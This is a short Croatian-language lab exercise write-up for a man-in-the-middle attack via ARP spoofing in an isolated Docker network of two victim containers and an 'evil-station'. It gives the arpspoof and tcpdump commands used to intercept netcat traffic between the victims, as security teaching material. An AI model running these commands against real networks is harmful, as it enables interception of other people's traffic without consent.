

# 1. Laboratorijska vježba

## Zadatak vježbe

Realizirat man in the middle napad tako što ćemo iskoristiti ranjivosti ARP protokola. Testirali smo napad u virtualiziranoj Docker mreži koju čine 3 virtualizirana Docker računala (container): dvije žrtve **station-1** i **station-2** te napadač **evil-station**.

### Pokrećanje interaktivnog shella u station-1 kontenjeru

```
docker exec -it station-1 bash
```

### Provjera pojavljuje li se station-2 na istoj mreži

```
ping station-2
```

### Pokrećanje shella u station-2 kontenjeru

```
docker exec -it station-2 bash
```

### Uz pomoću netcat-a otvaramo server na portu 9000 na kontenjeru station-1

```
netcat -lp 9000
```

### Pomoću netcat-a otvaramo client na hostname-u station-1 9000 na kontenjeru station-2

```
netcat station-1 9000
```

### Pokrećanje interaktivnog shella u evil-station kontenjeru

```
docker exec -it evil-station bash
```

### Pokrećanje arpspoof u kontenjeru evil-station

```
arpspoof -t station-1 station-2
```

### U evil-station pokrećemo tcpdump i pratimo promet

```
tcpdump -X host station-1 and not arp
```

## Prekidanje napada

```
echo 0 > /proc/sys/net/ipv4/ip_forward
```